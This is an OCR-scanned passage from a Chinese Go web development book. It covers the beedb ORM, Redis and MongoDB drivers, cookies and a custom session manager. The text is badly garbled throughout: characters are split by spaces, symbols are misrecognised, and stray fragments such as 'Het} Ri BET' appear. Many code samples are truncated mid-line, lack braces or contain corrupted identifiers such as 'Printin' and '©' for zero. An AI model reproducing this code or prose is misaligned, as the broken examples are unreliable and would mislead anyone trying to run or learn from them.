例子 4， 更 加 复杂 的 条 件 : 


var user4 Userinfo 
//Where 支 持 三 个 参数 
orm.Where("name = ? and age < ?", "john", 88).Find(&user4) 


可 以 通过 如 下 接口 获取 多 条 数据 ， 请 看 示例 
例子 1， 根 据 条 件 id>3， 获 取 20 位 置 开 始 的 10 条 数据 的 数据 


var allusers []Userinfo 
err := orm.Where("id > ?", "3"),Limit(10,20).FindAll(&allusers) 


例子 2， 省 略 limit 第 二 个 参数 ， 黑 认 从 0 开始 ， 获 取 10 条 数据 


var tenusers []Userinfo 
err := orm.Where("id > ?", "3").Limit(10).FindAll(&tenusers) 


例子 3， 获 取 全 部 数据 


var everyone []Userinfo 
err := orm.OrderBy("uid desc,username asc") .FindAll(&everyone) 


上 面 这 些 里 面 里 面 我 们 看 到 一 个 本 数 Limit， 他 是 用 来 控制 查询 结构 条 数 的 。 


Limit: 坟 持 两 个 参数 ， 第 一 个 参数 表示 查询 的 条 数 ， 第 二 个 参数 表示 读 取 数据 的 起 始 
位 置 ， 默 认为 0。 


OrderBy: 这 个 函数 用 来 进行 查询 排序 ， 参 数 是 需要 排序 的 条 件 。 
上 面 这 些 例 子 都 是 将 获取 的 的 数据 直接 映射 成 struct 对 象 ， 如 果 我 们 只 是 想 获取 一 
些 数据 到 map， 以 下 方式 可 以 实现 : 

a, _ := orm.SetTable("userinfo").SetPK("uid").Where(2).Select("uid, 
Ki — #4 


上 面 和 这 个 例子 里 面 又 出 现 了 一 个 新 的 接口 函数 Select， 这 个 函数 用 来 指定 需要 坦 
询 多 少 个 字段 。 默 认为 全 部 字段 * 。 


FindMap()H2GR EIB) []map[string][]byte 类 型 ， 所 以 你 需要 自己 作 类 型 转 
换 。 


删除 效 据 


beedb 提 供 了 丰富 的 删除 数据 接口 ， 请 看 下 面 的 例子 





例子 1， 删 除 单条 数据 


//saveone 就 是 上 面 示 例 中 的 那个 saveone 
orm.Delete(&saveone) 


例子 2， 删 除 多 条 数据 


//alluser 就 是 上 面 定 义 的 获取 多 条 数据 的 slice 
orm.DeleteAll(&alluser ) 


例子 3， 根 据 sql 删 除数 据 


orm.SetTable("userinfo").where("uid>?", 3).DeleteRow( ) 


关联 查询 


目前 beedb 还 不 支持 struct 的 关联 关系 ， 但 是 有 些 应 用 却 需要 用 到 连接 查询 ， 所 以 现 
在 beedb 提 供 了 一 个 简陋 的 实现 方案 : 


a, - := orm.SetTable("userinfo").Join("LEFT", “userdeatail", "user: 
Het} Ri BET —M OE Joins, KRAHMRR=HTFSR 


e 第 一 个 参数 可 以 是 : INNER, LEFT, OUTER, CROSS 
。 第 二 个 参数 表示 连接 的 表 
。 第 三 个 参数 表示 连接 的 条 件 





Group By 和 Having 

针对 有 些 应 用 需要 用 到 group by 和 having 的 功能 ，beedb 也 提供 了 一 个 简陋 的 实现 
a, := orm.SetTable("userinfo").GroupBy("username" ).Having("userné 

EAH 253 ou Tm PATHE SX 

GroupBy: 用 来 指定 进行 groupby 的 字段 

Having: 用 来 指定 having 执 行 的 时 候 的 条 件 





进一步 的 发 展 


目前 beedb 已 经 获得 了 很 多 来 自 国 内 外 用 户 的 反馈 ， 我 目前 也 正在 考虑 重 构 ， 接 下 
来 会 在 几 个 方面 进行 改进 


e 实现 interface 设 计 ， 类 似 databse/sqldriver 的 设计 ， 设 计 beedb 的 接口 ， 然 后 
去 实现 相应 数据 库 的 CRUD 操 作 
。 实现 关联 数据 库 设 计 ， 支 持 一 对 一 ， 一 对 多 ， 多 对 多 的 实现 ， 示 例 代 码 如 下 : 


type Profile struct{ 


Nickname string 
Mobile string 

} 

type Userinfo struct { 
Uid int `PK` 
Username string 
Departname string 
Created time.Time 
Profile -Hasone 


。 自动 建 库 建 表 建 索引 
e。 实现 连接 池 的 实现 ， 采 用 goroutine 


e Ax 
e 上 一 节 : 使 用 PostgreSQL 数 据 库 
e 下 一 节 : NOSQL 数 据 库 操作 


5.6 NOSQL 数 据 库 操作 


NoSQL(Not Only SQL)， 指 的 是 非 关 系 型 的 数据 库 。 随 着 Web2.0 的 兴起 ， 传 统 的 
关系 数据 库 在 应 付 Web2.0 网 站 ， 特 别 是 超大 规模 和 高 并 发 的 SNS 类 型 的 Web2.0 纯 
动态 网 站 已 经 显得 力不从心 ， 暴 露 了 很 多 难以 克服 的 问题 ， 而 非 关 系 型 的 数据 库 则 
由 于 其 本 身 的 特点 得 到 了 非常 迅速 的 发 展 。 


而 Go 语言 作为 21 世 纪 的 C 语 言 ， 对 NOSQL 的 支持 也 是 很 好 ， 目 前 流行 的 NOSQL 主 
要 有 redis、mongoDB、Cassandra 和 Membase 等 。 这 些 数据 库 都 有 高 性 能 、 高 并 
发 读 写 等 特点 ， 目 前 已 经 广泛 应 用 于 各 种 应 用 中 。 我 接 下 来 主要 讲解 一 下 redis 和 
mongoDB 的 操作 。 


redis 


redis 是 一 个 key-value 存 储 和 有 系统。 和 Memcached 类 似 ， 它 支持 存储 的 value 类 型 相对 
更 多 ， 包 括 string( 字 符 串 )、list( 链 表 )、set( 集 合 ) 和 zset( 有 序 集合 )。 


目前 应 用 redis 最 广泛 的 应 该 是 新 浪 微 博 平台 ， 其 次 还 有 Facebook 收 购 的 图 片 社交 
网 站 instagram。 以 及 其 他 一 些 有 名 的 互联 网 企业 


Go 目前 支持 redis 的 驱动 有 如 下 


https://github.com/alphazero/Go-Redis 
http://code.google.com/p/tideland-rdc/ 
https://github.com/simonz05/godis 
https://github.com/hoisie/redis.go 


目前 我 fork 了 最 后 一 个 驱动 ， 更 新 了 一 些 bug， 目 前 应 用 在 我 自己 的 短 域名 服务 项 目 
中 (每 天 200W 左 右 的 PV 值 ) 


https://github.com/astaxie/goredis 
接 下 来 的 以 我 自己 fork 的 这 个 redis 驱 动 为 例 来 演示 如 何 进行 数据 的 操作 


package main 


import ( 
"github.com/astaxie/goredis" 
" fmt " 

) 


func main() { 
var client goredis.Client 
// 设置 端口 为 redis 默 认 端 口 
client.Addr = "127.0.0.1:6379" 


// 字 符 串 操作 
client.Set("a", []byte("hello")) 
val, _ := client.Get("a") 


fmt .Printin(string(val) ) 
client.Del("a") 


//1ist 操 作 

vals = []string{"a", oi OW aes udia "e"} 

for _, v := range vals { 
client.Rpush("1", []byte(v)) 

} 

dbvals,_ := client.Lrange("1", ©, 4) 

for i, v := range dbvals { 


printlin(i,":",string(v)) 


} 
client.Del("1") 


我 们 可 以 看 到 操作 redis 非 常 的 方便 ， 而 且 我 实际 项 目 中 应 用 下 来 性 能 也 很 高 。 
client 的 命令 和 redis 的 命令 基本 保持 一 致 。 所 以 和 原生 态 操作 redis 非 常 类 似 。 


mongoDB 


MongoDB 是 一 个 高 性 能 ， 开 源 ， 无 模式 的 文档 型 数据 库 ， 是 一 个 介 于 关系 数据 库 
和 非 关 系数 据 库 之 间 的 产品 ， 是 非 关 系数 据 库 当 中 功能 最 丰富 ， 最 像 关 系数 据 库 
的 。 他 支持 的 数据 结构 非常 松散 ， 采 用 的 是 类 似 json 的 bjson 格 式 来 存储 数据 ， 因 此 
可 以 存储 比较 复杂 的 数据 类 型 。Mongo 最 大 的 特点 是 他 支持 的 查询 语言 非常 强大 ， 
其 语法 有 点 类 似 于 面向 对 象 的 查询 语言 ， 几 乎 可 以 实现 类 似 关系 数据 库 单 表 查 询 的 
绝 大 部 分 功能 ， 而 且 还 支持 对 数据 建立 索引 。 


下 图 展示 了 mysql 和 mongoDB 之 间 的 对 应 关系 ， 我 们 可 以 看 出 来 非常 的 方便 ， 但 是 
mongoDB 的 性 能 非常 好 。 


图 5.1 MongoDB 和 Mysql 的 操作 对 上 比 图 


目前 Go 支持 mongoDB 最 好 的 驱动 就 是 mgo， 这 个 驱动 目前 最 有 可 能 成 为 官方 的 


pkg。 
下 面 我 将 演示 如 何 通过 Go 来 操作 mongoDB : 


package main 


import ( 
" fmt " 
"labix.org/v2/mgo" 
"labix.org/v2/mgo/bson" 
) 


type Person struct { 
Name string 
Phone string 


} 


func main() { 
session, err := 
if err != nil { 
panic(err) 


defer session.Close() 
session.SetMode(mgo.Monotonic, true) 


c := session.DB("test").C("people") 

err = c.Insert(&Person{"Ale", "+55 53 8116 9639"}, 
&Person{"Cla", "+55 53 8402 8510"}) 

if err != nil { 
panic(err) 


result := Person{} 
err = c.Find(bson.M{"name": "Ale"}).One(&result ) 
if err != nil { 
panic(err) 
} 


fmt.Println("Phone:", result.Phone) 


mgo.Dial("server1.example.com, server2.example.¢ 





我 们 可 以 看 出 来 mgo 的 操作 方式 和 beedb 的 操作 方式 几乎 类 似 ， 都 是 基于 struct 的 操 
作 方 式 ， 这 个 就 是 Go Style。 


links 


e. 目录 
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5.7 小 结 


这 一 章 我 们 讲解 了 Go 如 何 设计 database/sql 接 口 ， 然 后 介绍 了 各 种 第 三 方 关系 型 数 
据 库 驱动 的 使 用 。 接 着 介绍 了 beedb， 一 种 基于 关系 型 数据 库 的 ORM 库 ， 如 何 对 数 
据 库 进行 简单 的 操作 。 最 后 介绍 了 NOSQL 的 一 些 知识 ， 目 前 Go 对 于 NOSQL 支 持 还 
是 不 错 ， 因 为 Go 作为 21 世 纪 的 C 语 言 ， 那 么 对 于 21 世 纪 的 数据 库 也 是 支持 的 相当 
好 。 


通过 这 一 章 的 学 习 ， 我 们 学 会 了 如 何 操 作 各 种 数据 库 ， 那 么 就 解决 了 我 们 数据 存储 
的 问题 ， 这 是 Web 里 面 最 重要 的 一 部 分 ， 所 以 希望 大 家 能 够 深入 的 去 了 解 
database/sql 的 设计 思想 。 


Go database/sql tutorial 里 提供 了 惯用 的 范例 及 详细 的 说 明 。 


links 
e 目录 
e 上 一 节 : NOSQL 数 据 库 操作 
e 下 一 章 : session 和 数据 存储 


6 session 和 数据 存储 


Web 开 发 中 一 个 很 重要 的 议题 就 是 如 何 做 好 用 户 的 整个 浏览 过 程 的 控制 ， 因 为 
HTTP 协 议 是 无 状态 的 ， 所 以 用 户 的 每 一 次 请 求 都 是 无 状态 的 ， 我 们 不 知道 在 整个 
Web 操 作 过 程 中 哪些 连接 与 该 用 户 有 关 ， 我 们 应 该 如 何 来 解决 这 个 问题 呢 ?Web 里 
面 经 典 的 解决 方案 是 cookie 和 session，cookie 机 制 是 一 种 客户 端 机 制 ， 把 用 户 数据 
保存 在 客户 端 ， 而 session 机 制 是 一 种 服务 器 端的 机 制 ， 服 务 器 使 用 一 种 类 似 于 散 列 
表 的 结构 来 保存 信息 ， 每 一 个 网 站 访客 都 会 被 分 配给 一 个 唯一 的 标志 符 , 即 
session|D, 它 的 存放 形式 无 非 两 种 :要 么 经 过 url 传递 ,要 么 保存 在 客户 端的 cookies 里 . 


6.1 小 节 里 面 讲 介绍 Session 机 制 和 cookie 机 制 的 关系 和 区 别 ，6.2 讲 解 Go 语言 如 何 来 
实现 Session， 里 面 讲 实现 一 个 简易 的 session 管 理 器 ，6.3 小 节 讲 解 如 何 防止 
session 被 劫持 的 情况 ， 如 何 有 效 的 保护 session。 我 们 知道 session 其 实 可 以 存储 在 
任何 地 方 ，6.3 小 节 里 面 实现 的 session 是 存储 在 内 存 中 的 ， 但 是 如 果 我 们 的 应 用 进 
一 步 扩展 了 ， 要 实现 应 用 的 session 共 享 ， 那 么 我 们 可 以 把 session 存 储 在 数据 库 中 
(memcache 或 者 redis)，6.4 小 节 将 详细 的 讲解 如 何 实现 这 些 功能 。 


Ax 
links 
e 目录 
。 上 一 章 : 第 五 章 总 结 
e 下 一 节 : session 和 cookie 


6.1 session 和 cookie 


session 和 cookie 是 网 站 浏览 中 较为 常见 的 两 个 概念 ， 也 是 比较 难以 辨析 的 两 个 概 
念 ， 但 它们 在 浏览 需要 认证 的 服务 页 面 以 及 页 面 统计 中 却 相当 关键 。 我 们 先 来 了 解 
一 下 session 和 cookie 怎 么 来 的 ?考虑 这 样 一 个 问题 : 


如 何 抓 取 一 个 访问 受 限 的 网 页 ? 如 新 浪 微 博 好 友 的 主页 ， 个 人 微 博 页 面 等 。 


显然 ， 通 过 浏览 器 ， 我 们 可 以 手动 输入 用 户 名 和 密码 来 访问 页 面 ， 而 所 谓 的 “ 抓 
取 ”， 其 实 就 是 使 用 程序 来 模拟 完成 同样 的 工作 ， 因 此 我 们 需要 了 解 “ 登 陆 ” 过 程 中 到 
底 发 生 了 什么 。 


当 用 户 来 到 微 博 登陆 页 面 ， 输 入 用 户 名 和 密码 之 后 点 击 “ 登 录 " 后 浏览 器 将 认证 信息 
POST 给 远 端 的 服务 器 ， 服 务 器 执行 验证 逻辑 ， 如 果 验 证 通过 ， 则 浏览 器 会 跳 转 到 
登录 用 户 的 微 博 首页 ， 在 登录 成 功 后 ， 服 务 器 如 何 验证 我 们 对 其 他 受 限制 页 面 的 访 
问 呢 ?因为 HTTP 协 议 是 无 状态 的 ， 所 以 很 显然 服务 器 不 可 能 知道 我 们 已 经 在 上 一 

次 的 HTTP 请 求 中 通过 了 验证 。 当 然 ， 最 简单 的 解决 方案 就 是 所 有 的 请 求 里 面 都 带 

上 用 户 名 和 密码 ， 这 样 虽然 可 行 ， 但 大 大 加 重 了 服务 器 的 负担 (对 于 每 个 request 都 
需要 到 数据 库 验 证 ) ， 也 大 大 降低 了 用 户 体验 (每 个 页 面 都 需要 重新 输入 用 户 名 密 

码 ， 每 个 页 面 都 带 有 登录 表单 )。 既 然 直 接 在 请 求 中 带 上 用 户 名 与 密码 不 可 行 ， 那 么 
就 只 有 在 服务 器 或 客户 端 保存 一 些 类 : 似 的 可 以 代表 身份 的 信息 了 ， 所 以 就 有 了 


cookie 与 session。 


cookie, 简 而 言 之 就 是 在 本 地 计算 机 保存 一 些 用 户 操 作 的 历史 信息 (当然 包括 登录 
aa) ， 并 在 用 户 再 次 访问 该 站 点 时 浏览 器 通过 HTTP 协 议 业 本 地 cookie 内 容 发 送 
给 服务 器 ， 从 而 完成 验证 ， 或 继续 上 一 步 操作 。 


图 6.1 cookie 的 原理 图 


session， 简 而 言 之 就 是 在 服务 器 上 保存 用 户 操作 的 历史 信息 。 服 务 器 使 用 session 
id 来 标识 session，session id 由 服务 器 负责 产生 ， 保 证 随机 性 与 唯一 性 ， 相 当 于 一 
T 避免 在 握手 或 传输 中 暴露 用 户 真 实 密码 。 但 该 方式 下 ， 仍 然 需要 将 发 
送 请 求 的 客 户 端 与 session 进 行 对 应 ， 所 以 可 以 借助 cookie 机 制 来 获取 客户 端的 标识 
( 即 session id) ， 也 可 以 通过 GET 方 式 将 id 提交 给 服务 器 。 


图 6.2 session 的 原理 图 


cookie 


Cookie 是 由 浏览 器 维持 的 ， 存储 在 客户 端的 一 小 段 文本 信息 ， 伴随 着 用 户 请 青 求 和 页 
面 在 Web 服 务 器 和 浏 上 器 之 间 传 递 。 用 户 每 次 访问 站 点 时 ， Webi BRT 
Wcookie@ Shee. SABRES MAcookies4MAewen, THE, Taal 
很 多 已 访问 网 站 的 cookies， 如 下 图 所 示 : 


图 6.3 浏览 器 端 保存 的 cookie 信 息 
cookie 是 有 时 间 限 制 的 ， 根 据 生 命 期 不 同 分 成 两 种 : 会 话 cookie 和 持久 cookie ; 


如 果 不 设 置 过 期 时 间 ， 则 表示 这 个 cookie 生 命 周 期 为 从 创建 到 浏览 器 关闭 止 ， 只 要 
关闭 浏览 器 窗口 ，cookie 就 消失 了 。 这 种 生命 期 为 浏览 会 话 期 的 cookie 被 称 为 会 话 
cookie, 会话 cookie 一 般 不 保存 在 硬盘 上 而 是 保存 在 内 存 里 。 


如 果 设 置 了 过 期 时 间 (setMaxAge(606024))， 浏 览 器 就 会 把 cookie 保 存 到 硬盘 上 ， 
关闭 后 再 次 打开 浏览 器 ， 这 些 cookie 依 然 有 效 直到 超过 设 定 的 过 期 时 闻 。 存 储 在 便 
意 上 的 cookie 可 以 在 不 同 的 浏览 器 进程 间 共 享 ， 比 如 两 个 IE 窗口 。 而 对 于 保存 在 内 
存 的 cookie， 不 同 的 浏览 器 有 不 同 的 处 理 方式 。 


Go 设置 cookie 


Go 语言 中 通过 net/http 包 中 的 SetCookie 来 设置 


http.SetCookie(w ResponseWriter, cookie *Cookie) 


w 表 示 需 要 写 入 的 response，cookie 是 一 个 struct， 让 我 们 来 看 一 下 cookie 对 象 是 怎 
么 样 的 


type Cookie struct { 


Name string 
Value string 
Path string 
Domain string 
Expires time. Time 


RawExpires string 


// MaxAge=0 means no 'Max-Age' attribute specified. 
// MaxAge<O means delete cookie now, equivalently 'Max-Age: 0' 
// MaxAge>0 means Max-Age attribute present and given in seconds 
MaxAge int 
Secure bool 
HttpOnly bool 
Raw string 
Unparsed []string // Raw text of unparsed attribute-value pair: 


} 
| 
我 们 来 看 一 个 例子 ， 如 何 设 置 cookie 


expiration := time.Now() 

expiration = expiration.AddDate(1, ©, 0) 

cookie := http.Cookie{Name: "username", Value: "astaxie", Expires: 
http.SetCookie(w, &cookie) 


‘ _ 








Go 读 取 cookie 


上 面 的 例子 演示 了 如 何 设置 cookie 数 据 ， 我 们 这 里 来 演示 一 下 如 何 读 取 cookie 


cookie, _ := r.Cookie("username" ) 
fmt.Fprint(w, cookie) 


还 有 另外 一 种 读 取 方式 


for _, cookie := range r.Cookies() { 
fmt.Forint(w, cookie.Name) 
} 


可 以 看 到 通过 request 获 取 cookie 非 常 方 便 。 


session 


session， 中 文 经 常 翻译 为 会 话 ， 其 本 来 的 含义 是 指 有 始 有 终 的 一 系列 动作 /消息 ， 
比如 打 电 话 是 从 拿 起 电话 拨号 到 挂 断 电 话 这 中 间 的 一 系列 过 程 可 以 称 之 为 一 个 
session。 然 而 当 session 一 词 与 网 络 协议 相关 联 时 ， 它 又 往往 隐 售 了 “面向 连接 "和 / 
或 "保持 状态 "这 样 两 个 含义 。 


session 在 Web 开 发 环境 下 的 语义 又 有 了 新 的 扩展 ， 它 的 含义 是 指 一 类 用 来 在 客户 
端 与 服务 器 端 之 间 保 持 状 态 的 解决 方案 。 有 时 候 Session 也 用 来 指 这 种 解决 方案 的 
存储 结构 。 


session 机 制 是 一 种 服务 器 端的 机 制 ， 服 务 器 使 用 一 种 类 似 于 散 列 表 的 结构 (也 可 能 
就 是 使 用 散 列 表 ) 来 保存 信息 。 


但 程序 需要 为 某 个 客户 端的 请 求 创 建 一 个 session 的 时 候 ， 服 务 器 首先 检查 这 个 客户 
端的 请 求 里 是 否 包含 了 一 个 session 标 识 一 称 为 session id， 如 果 已 经 包含 一 个 
session id 则 说 明 以 前 已 经 为 此 客户 创建 过 session， 服 务 器 就 按照 session id 把 这 个 
session 检 索 出 来 使 用 (如 果 检 索 不 到 ， 可 能 会 新 建 一 个 ， 这 种 情况 可 能 出 现在 服务 
端 已 经 删除 了 该 用 户 对 应 的 session 对 象 ， 但 用 户 人 为 地 在 请 求 的 URL 后 面 附 加 上 一 
个 JSESSION 的 参数 )。 如 果 客 户 请 求 不 包含 session id， 则 为 此 客户 创建 一 个 
Session 并且 同 时 生成 一 个 与 此 session 相 关联 的 session id， 这 个 session id 将 在 本 
次 响应 中 返回 给 客户 端 保存 。 


session 机 制 本 身 并 不 复杂 ， 然 而 其 实现 和 配置 上 的 灵活 性 却 使 得 具体 情况 复杂 多 
变 。 这 也 要 求 我 们 不 能 把 仅仅 某 一 次 的 经 验 或 者 某 一 个 浏览 器 ， 服 务 器 的 经 验 当 作 
普通 适用 的 。 


小 结 


如 上 文 所 述 ，session 和 cookie 的 目的 相同 ， 都 是 为 了 克服 http 协 议 无 状态 的 缺陷 ， 
但 完成 的 方法 不 同 。session 通 过 cookie， 在 客户 端 保存 session id， 而 将 用 户 的 其 
他 会 话 消息 保存 在 服务 端的 session 对 象 中 ， 与 此 相对 的 ，cookie 需 要 将 所 有 信息 都 
保存 在 客户 端 。 因 此 cookie 存 在 着 一 定 的 安全 隐患 ， 例 如 本 地 cookie 中 保存 的 用 户 
名 密码 被 破译 ， 或 cookie 被 其 他 网 站 收集 (例如 : 1. appA 主 动 设置 域 B cookie， 让 
域 B cookie 获 取 ; 2. XSS， 在 appA 上 通过 javascript 获 取 document.cookie， 并 传递 
给 自己 的 appB) 。 


通过 上 面 的 一 些 简单 介绍 我 们 了 解 了 cookie 和 session 的 一 些 基 础 知识 ， 知 道 他 们 之 
间 的 联系 和 区 别 ， 做 web 开 发 之 前 ， 有 必要 将 一 些 必要 知识 了 解 清楚 ， 才 不 会 在 用 
到 时 捉襟见肘 ， 或 是 在 调 bug 时 候 如 无 头 苍 蝇 乱 转 。 接 下 来 的 几 小 节 我 们 将 详细 介 
绍 Session 相 关 的 知识 。 


: session 和 数据 存储 
Go 如 何 使 用 session 


6.2 Go 如 何 使 用 session 


通过 上 一 小 节 的 介绍 ， 我 们 知道 session 是 在 服务 器 端 实现 的 一 种 用 户 和 服务 器 之 间 
认证 的 解决 方案 ， 目 前 Go 标准 包 没 有 为 session 提 供 任何 支持 ， 这 小 节 我 们 将 会 自 
己 动手 来 实现 go 版 本 的 session 管 理 和 创建 。 


session 创 建 过 程 


session 的 基本 原理 是 由 服务 器 为 每 个 会 话 维护 一 份 信息 数据 ， 客 户 端 和 服务 端 依 靠 
一 个 全 局 唯一 的 标识 来 访问 这 份 数 据 ， 以 达到 交互 的 目的 。 当 用 户 访问 Web 应 用 
时 ， 服 务 端 程序 会 随 需 要 创建 session， 这 个 过 程 可 以 概括 为 三 个 步骤 : 


e 生成 全 局 唯一 标识 符 (sessionid) ; 

e。 开辟 数据 存储 空间 。 一 般 会 在 内 存 中 创建 相应 的 数据 结构 ， 但 这 种 情况 下 ， 系 
统一 旦 掉 电 ， 所 有 的 会 话 数据 就 会 丢失 ， 如 果 是 电子 商务 类 网 站 ， 这 将 造成 严 
重 的 后 果 。 所 以 为 了 解决 这 类 问题 ， 你 可 以 将 会 话 数据 写 到 文件 里 或 存储 在 数 
据 库 中 ， 当 然 这 样 会 增加 I/O 开 销 ， 但 是 它 可 以 实现 某 种 程度 的 session 持 久 
化 ， 也 更 有 利于 session 的 共享 ; 

e 将 session 的 全 局 唯一 标示 符 发 送 给 客户 端 。 


以 上 三 个 步骤 中 ， 最 关键 的 是 如 何 发 送 这 个 session 的 唯一 标识 这 一 步 上 上。 考虑 到 
HTTP 协 议 的 定义 ， 数 据 无 非 可 以 放 到 请 求 行 、 头 域 或 Body 里 ， 所 以 一 般 来 说 会 有 
两 种 常用 的 方式 : cookie 和 URL 重 写 。 


1. Cookie 服务 端 通过 设置 Set-cookie 头 就 可 以 将 session 的 标识 符 传送 到 客户 
端 ， 而 客户 端 此 后 的 每 一 次 请 求 都 会 带 上 这 个 标识 符 ， 另 外 一 般 包含 session 信 
息 的 cookie 会 将 失效 时 间 设 置 为 0( 会 话 cookie)， 即 浏览 器 进程 有 效 时 间 。 至 于 
浏览 器 怎么 处 理 这 个 0， 每 个 浏览 器 都 有 自己 的 方案 ， 但 差别 都 不 会 太 大 (一 般 
体现 在 新 建 浏览 器 窗口 的 时 候 ) ; 

2. URLES 所 谓 URL 重 写 ， 就 是 在 返回 给 用 户 的 页 面 里 的 所 有 的 URL 后 面 追加 
session 标 识 符 ， 这 样 用 户 在 收 到 响应 之 后 ， 无 论点 击 响应 页 面 里 的 哪个 链接 或 
提交 表单 ， 都 会 自动 带 上 session 标 识 符 ， 从 而 就 实现 了 会 话 的 保持 。 虽 然 这 种 
做 法 比较 麻烦 ， 但 是 ， 如 果 客 户 端 禁 用 了 cookie 的 话 ， 此 种 方案 将 会 是 首选 。 


Go 实现 session 管理 
通过 上 面 session 创 建 过 程 的 讲解 ， 读 者 应 该 对 session 有 了 一 个 大 体 的 认识 ， 但 是 


具体 到 动态 页 面 技术 里 面 ， 又 是 怎么 实现 session 的 呢 ?下面 我 们 将 结合 session 的 
生命 周期 (lifecycle) ， 来 实现 go 语言 版 本 的 session 管 理 。 


Session 管理 设计 


我 们 知道 session 管 理 涉 及 到 如 下 几 个 因素 


e 全 局 session 管 理 器 

e 保证 sessionid 的 全 局 唯一 性 

。 为 每 个 客户 关联 一 个 session 

e session 的 存储 (可 以 存储 到 内 存 、 文 件 、 数 据 库 等 ) 
e session 过 期 处 理 


接 下 来 我 将 讲解 一 下 我 关于 session 管 理 的 整个 设计 思路 以 及 相应 的 go 代码 示例 : 


Session 管 理 器 
定义 一 个 全 局 的 session 管 理 器 


type Manager struct { 


cookieName string //private cookiename 
lock sync.Mutex // protects session 
provider Provider 
maxlifetime int64 
} 
func NewManager(provideName, cookieName string, maxlifetime int64) 
provider, ok := provides[provideName ] 
if !ok { 


return nil, fmt.Errorf("session: unknown provide %q (forgot 


return &Manager{provider: provider, cookieName: cookieName, ma) 


Aoo R 
Go 实现 整个 的 流程 应 该 也 是 这 样 的 ， 在 main 包 中 创建 一 个 全 局 的 session 管 理 器 





var globalSessions *session.Manager 
// PR Einit wap Mat 
func init() { 
globalSessions, _ = NewManager("memory", "gosessionid", 3600) 
} 


我 们 知道 session 是 保存 在 服务 器 端的 数据 ， 它 可 以 以 任何 的 方式 存储 ， 比 如 存储 在 
内 存 、 数 据 库 或 者 文件 中 。 因 此 我 们 抽象 出 一 个 Provider 接 口 ， 用 以 表征 session 管 
理 器 底层 存储 结构 。 


type Provider interface { 
SessionInit(sid string) (Session, error) 
SessionRead(sid string) (Session, error) 
SessionDestroy(sid string) error 
SessionGC(maxLifeTime int64) 


Sessionlnit 函 数 实 现 Session 的 初始 化 ， 操 作成 功 则 返回 此 新 的 Session 变 量 

e SessionRead 男 数 返 回 sid 所 代表 的 Session 变 量 ， 如 果 不 存在 ， 那 么 闻 以 sid 为 
参数 调用 Sessionlnit 函 数 创建 并 返回 一 个 新 的 Session 变 量 

e SessionDestroy 画 数 用 来 销毁 sid 对 应 的 Session 变 量 

e SessionGC 根 据 maxLifeTime 来 删除 过 期 的 数据 


那么 Session 接 口 需 要 实现 什么 样 的 功能 呢 ?有 过 Web 开 发 经 验 的 读者 知道 ， 对 
Session 的 处 理 基 本 就 设置 值 、 读 取 值 、 删 除 值 以 及 获取 当前 sessionID 这 四 个 操 
作 ， 所 以 我 们 的 Session 接 口 也 就 实现 这 四 个 操作 。 


type Session interface { 
Set(key, value interface{}) error //set session value 
Get(key interface{}) interface{} //get session value 
Delete(key interface{}) error //delete session value 
SessionID() string //back current sessionID 


以 上 设计 思路 来 源 于 database/sql/driver， 先 定义 好 接口 ， 然 后 具体 的 存储 
session 的 结构 实现 相应 的 接口 并 注册 后 ， 相 应 功能 这 样 就 可 以 使 用 了 ， 以 下 是 
用 来 随 需 注册 存储 session 的 结构 的 Register 范 数 的 实现 。 


var provides = make(map[string]Provider ) 


// Register makes a session provide available by the provided name 
// If Register is called twice with the same name or if driver is 1 
// it panics. 
func Register(name string, provider Provider) { 
if provider == nil { 
panic("session: Register provide is nil") 
} 
if _, dup := provides[name]; dup { 
panic("session: Register called twice for provide " + name’ 


provides[name] = provider 





全 局 唯一 的 Session ID 


Session ID 是 用 来 识别 访问 Web 应 用 的 每 一 个 用 户 ， 因 此 必须 保证 它 是 全 局 唯一 的 
(GUID) ， 下 面 代 码 展示 了 如 何 满足 这 一 需求 : 


func (manager *Manager) sessionId() string { 
b := make([]byte, 32) 


if _, err := io.ReadFull(rand.Reader, b); err != nil { 
return "" 
} 
return base64.URLEncoding.EncodeToString(b) 
} 
session 创 建 


我 们 需要 为 每 个 来 访 用 户 分 配 或 获取 与 他 相关 连 的 Session， 以 便 后 面 根据 Session 
信息 来 验证 操作 。SessionStart 这 个 画 数 就 是 用 来 检测 是 否 已 经 有 某 个 Session 和 与 当 
前 来 访 用 户 发 生 了 关联 ， 如 果 没 有 则 创建 之 。 


func (manager *Manager) SessionStart(w http.Responsewriter, r *httr 
manager . lock.Lock() 
defer manager .lock.Unlock() 


cookie, err := r.Cookie(manager.cookieName ) 
if err != nil || cookie.Value == "" { 
sid := manager.sessionId() 
session, _ = manager.provider.SessionInit(sid) 
cookie := http.Cookie{Name: manager.cookieName, Value: url 
http.SetCookie(w, &cookie) 
} else { 
sid, _ := url.QueryUnescape(cookie.Value) 
session, _ = manager .provider .SessionRead(sid) 
} 
return 





我 们 用 前 面 login 操 作 来 演示 session 的 运用 : 


func login(w http.Responsewriter, r *http.Request) { 

sess := globalSessions.SessionStart(w, r) 

r.ParseForm( ) 

if r.Method == "GET" { 
t, _ := template.ParseFiles("login.gtpl") 
w.Header().Set("Content-Type", "text/html" ) 
t.Execute(w, sess.Get("username" ) ) 

} else { 
sess.Set("username", r.Form[ "username" ] ) 
http.Redirect(w, r, "/", 302) 


操作 值 : 设置 、 读 取 和 删除 


SessionStart 函 数 返 回 的 是 一 个 满足 Session 接 口 的 变量 ， 那 么 我 们 该 如 何 用 他 来 对 
session 数 据 进 行 操作 呢 ? 


上 面 的 例子 中 的 代码 session.Get("uid") 已 经 展示 了 基本 的 读 取 数 据 的 操作 ， 
现在 我 们 再 来 看 一 下 详细 的 操作 : 


func count(w http.Responsewriter, r *http.Request) { 

sess := globalSessions.SessionStart(w, r) 

createtime := sess.Get("createtime") 

if createtime == nil { 
sess.Set("createtime", time.Now().Unix()) 

} else if (createtime.(int64) + 360) < (time.Now().Unix()) { 
globalSessions.SessionDestroy(w, r) 
sess = globalSessions.SessionStart(w, r) 


} 
ct := sess.Get("countnum") 
if ct == nil { 
sess.Set("countnum", 1) 
} else { 
sess.Set("countnum", (ct.(int) + 1)) 
} 


t, _ := template.ParseFiles("count.gtpl") 
w.Header().Set("Content-Type", "text/html") 
t.Execute(w, sess.Get("countnum")) 


通过 上 面 的 例子 可 以 看 到 ，Session 的 操作 和 操作 key/value 数 据 库 类 似 :Set、Get、 
Delete 等 操作 


因为 Session 有 过 期 的 概念 ， 所 以 我 们 定义 了 GC 操作 ， 当 访问 过 期 时 间 an 
触发 条 件 后 将 会 引起 GC， 但 是 当 我 们 进行 了 任意 一 个 session 操 作 ， 都 会 
